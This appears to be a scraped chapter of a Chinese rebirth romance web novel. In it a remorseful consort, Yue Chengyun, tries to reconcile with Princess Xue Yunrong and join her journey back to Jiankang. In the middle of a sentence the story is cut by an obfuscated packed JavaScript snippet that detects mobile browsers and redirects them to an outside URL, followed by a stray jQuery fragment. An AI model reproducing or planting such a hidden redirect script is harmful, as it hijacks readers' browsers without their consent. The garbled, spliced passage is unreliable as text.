2. 第 2 章
作品:《重生后驸马变装货》 越承昀觉得自己睡了很久,以致不知今夕何夕。
他又做那个梦了。
梦里下了好大的雪,将百姓的哀鸣尽数掩埋在深雪下。昔年盛景不复,冰冷刺骨的雪化作了滚烫的尖刀,一片片刺进他的身体,嘲笑着他的自负与短视。
难捱的刺痛、无尽的悔恨与呕血的腥气齐数涌上喉咙。
“公子怎么喝不进药啊,府医呢!”谁在哭。
“掰开他的嘴,给我灌进去!”好凶。
他呛咳着睁开眼,一眼就看见床边站着的愠怒女郎。
生动的、鲜活的脸庞,不是冰冷的棺木。
他几乎要笑出来,心脏却一抽一抽地疼,像从中被剖开,又揉碎。
原来他尚在人间,还以为仍困在经年不歇的梦境中。
薛蕴容从没见过如此狼狈虚弱的越承昀。
往日清挺的轮廓陷在锦被间,竟显出几分伶仃的脆弱。平日里寒潭似的眼睛紧阖,眉间始终蹙着。冷汗浸透了鬓边散乱的发,湿漉漉地贴在颈侧。
手指却从晕过去那一刻就死死攥着她的手,因为太过用力指节泛着青白。怎么掰也掰不开,无奈之下只得就这么随他握着,跟着回到了澹月轩。
眼瞧着床上的人醒了,薛蕴容暗自舒了口气,语气却依旧冷淡:“把手松开。”
越承昀的视线紧紧凝在她因带怒而生动的眉眼上,像是被定住了似的,手指反而用力了几分,吐露出令人意想不到的词句:“阿容,我很想你。”
嘶哑的嗓音隐隐带着哽咽,“我很想你。”
薛蕴容面色似有一瞬间的凝滞,但很快又恢复如常,讥讽道:“你不必如此,就算这般我也不会同意你所说的。”
她竟有些看不明白这人了,明明前一日他还为了心中所谓的公平与道义斥责她虚伪。
越承昀手指微微曲起,愣了一瞬,记忆翻涌进他的脑中。
重生的那个晚上,他因冀州太守一事与薛蕴容起了争执——
赵郡李氏的三公子途径冀州时醉酒纵马,踢翻了不少瓜果摊。而同出身李氏的太守李炳并没有严惩此人,只是稍作规训,让其家仆给摊贩银钱补偿。
前世越承昀为此十分不平,他觉得李炳包庇士族子弟,不配为官,在薛蕴容面前怒斥了士族的虚伪。
“你待如何,将李三抓起来施以严刑?”薛蕴容冷冷看着他,“且不说此举是滥用刑罚,就算李炳真的抓了他,你想过如何善后吗?”
越承昀听出了她的反对之意,觉得不可思议,又想起一年来的多次争执,几乎被气昏了头,脱口便道:“我倒忘了,殿下出身高贵,母族亦是士族,怎会体谅底层人!”
眼前似乎又浮现出了薛蕴容惊愕、失望的神色,越承昀痛苦地闭了闭眼。
“是我错了!”
是我眼盲心瞎、自视甚高、眼界狭窄,自以为身处寒门能与百姓感同身受,自觉思虑周全、处处为百姓着想,实际却是最愚不可及的人。
“士族内有如大树,盘根错节。李三为家中幼子,若将他投牢,李氏家主必会出面相护。李三非但不会受罚,若是李氏睚眦必报,那些摊贩反倒会被无辜牵连,甚至被报复。”
越承昀对上薛蕴容的视线:“李炳此举考虑了更多,是我错了。”
不算多么晦涩难懂的道理,薛蕴容很早便看得清,而自己却在经历了一世才明白。
“我们能不能……”他近乎贪恋地看着面色平静、眼神冷淡的薛蕴容,喉咙发紧,心口闷痛,像钝刀缓缓磨着经脉。
既予他重来一次的机会,他不想再与阿容重蹈覆辙。
下一瞬,掌中一空。
薛蕴容用力抽出了被紧握的左手,未多做言语,视线扫过一旁早已呆住的松闻,径直离开了澹月轩。
出澹月轩后沿着小道又走了一段路,薛蕴容才停下惊疑的脚步。
越承昀实在太过反常,病来的怪,言行举止也处处古怪,偏偏又不像装的。
思忖片刻,薛蕴容转身沿着小径往回走,刚好遇见背着药箱离开澹月轩的府医。
“驸马的高热并无大碍,是忧思过重所致。只是臣观驸马脉象,似乎有些乱,恐怕还需调理一些时日。”府医以为薛蕴容有意关心,细细将自己两次诊脉结论都说了一遍。
薛蕴容静静听完,却问了一个令府医意想不到的问题。
“高热会致使人性情大变,做出与平素截然不同的事吗?”
“若反复高热未得医治,或许可能,只是驸马这般……”府医面露难色。
“罢了,我知晓了。”见府医如此,薛蕴容心下烦乱,躁色郁郁,“那便好好调理吧。”
生平第一次,她看不明白越承昀要做什么。一个自负之人会在一夕之间转变吗,想必是不会的。
想着,心情愈发烦躁。
罢了,等自己见了父皇回来,他肯定又会变回先前的样子。
十二月离开建康时,父皇又犯了咳疾,如今开春天暖,不知道咳疾好了没有。还有阿弟,不知他有没有在衔青的看顾下养身健体。
想到远在建康的亲人,薛蕴容心中难耐,恨不得生出翅膀,立刻飞回去。
眼下吴州并无他事,索性明日就启程。
刚过卯正二刻,府内鲜有人声,松闻跟着越承昀,站在前往清晖院的夹道上。
松闻一直觉得,总是把家族重任往自己肩上揽的公子实在太累了,这么多年鲜有笑容,只有最初与公主成婚时才松泛了些。若说这个院子里谁最盼着二人重修于好,那便是他了。
今日一早公子便起身欲寻公主,松闻自然乐得奉陪。
脚步声传来,一个端着漆盒与木匣的女使走上夹道。
女使见越承昀站在此处,连忙行礼。
“这是什么?”越承昀看着托盘,心生好奇,“殿下令你们采买的物件?”
“回禀驸马,这是宣平侯送来的,说是与永嘉郡主赠与殿下的,昨日殿下匆匆离园,忘记带走了。”见驸马没有继续问下去的意思,便继续朝清晖院走去。
郑钰,郑钰!
松闻看着自家公子脸色突然发白,心下一惊,以为他身体不适。
“松闻,我真的与郑钰很像吗?”艰难吐出这几个字。
宣平侯郑钰,出身荥阳郑氏。郑父为家中第三子,怀正五年战死,彼时郑钰不过三岁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471845|169900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,没多久郑夫人也病逝。景元帝便将郑钰接入宫中抚养,几乎视作亲子。
郑钰与薛蕴容十余年的亲近相伴不是假的,想到前世郑钰对他的挑衅言语,越承昀心口发涩。他不得不承认,在郑钰面前,他的自卑无所遁逃。
“什,什么?”松闻讶然,公子曾经从不过问宣平侯的事。
还未整理好思绪,他忽然想到怀正十六年公子中榜游街时,众人的议论。
“这便是新科探花,听说还是寒门出身?”
“是啊,陛下言明不拘出身,任人唯贤。这不,特授他太常博士一职,入了太常寺呢。”
“不过细看,探花郎神韵上怎么与郑小侯爷有几分相似,果然有才之人都是一般俊呐。”
……
松闻努力回想宣平侯的模样,又仔细看了看越承昀:“公子与他五官并无相类之处,只是面无表情时神韵乍一看有些像。其实冷脸都差不多,公主不也……”一顿,发觉自己说错话,急忙改口,“公子笑起来就全然不一样了。”
见越承昀怔愣失神,松闻索性把心里话倒豆子似的倒了出来:“公子现下既已看开,不再受困于往日之思,那么与公主长久这般也不是办法。不如弃了冷面,凭小侯爷如何,他才是外人。”
是,多年相伴又如何,如今和阿容名正言顺在一起的仍是自己。
还有机会,当务之急是先见到阿容!
“松闻,你去追上刚刚的女使!”越承昀语气急切,“就说我刚好要去寻殿下,物件交给我吧。”
秋眠推开门时,看见越承昀正立在院中,心里一惊。
昨日驸马的反常她已然听说,如今又是闹哪一出。
一边想着,一边快步走出:“驸马这么早来是……”
屋内的声音却先她一步响起:“秋眠,我忽然想起,前些日子我寻来的梨膏你记得装上,我听人说能止咳疾,想必父皇能用上。”
“殿下是要出门?”
秋眠面色讪讪。
因着临行决定匆忙,加上与驸马关系紧张,公主今日启程一事还未来得及告知驸马。
是要回建康。越承昀从秋眠的神情已看出了答案。
来不及多想,他快步绕过秋眠,一把掀起竹帘。
眼见着驸马迈入内室,秋眠有些急,摸不清驸马意图,担心二人又作争执。正欲追上,却听见一旁一直没说话的松闻突然低呼阻拦:“秋眠姐姐,这是永嘉郡主送来的礼物。”
内室一片静谧,掀起竹帘带进来一阵风,吹动了书案上的纸页,有几张被卷落在地。
越承昀视线凝着面前捡拾纸页的女郎,呼吸急促,呼出的热气几乎迷了眼。
若是任她一人回建康,岂不是又走了前世老路。
薛蕴容自然听到了身后的动静,只是无暇顾及,以为是秋眠便没有在意。
可直到捡完纸起身也没听见秋眠说话,正疑惑着,身后传来低沉的嗓音。
“阿容,你回建康能不能带上我?”
见她转过身,想起松闻的提醒,越承昀嘴角牵了牵,竭力扯起一抹笑。
“我也许久未见陛下了,我想与你一同回建康。”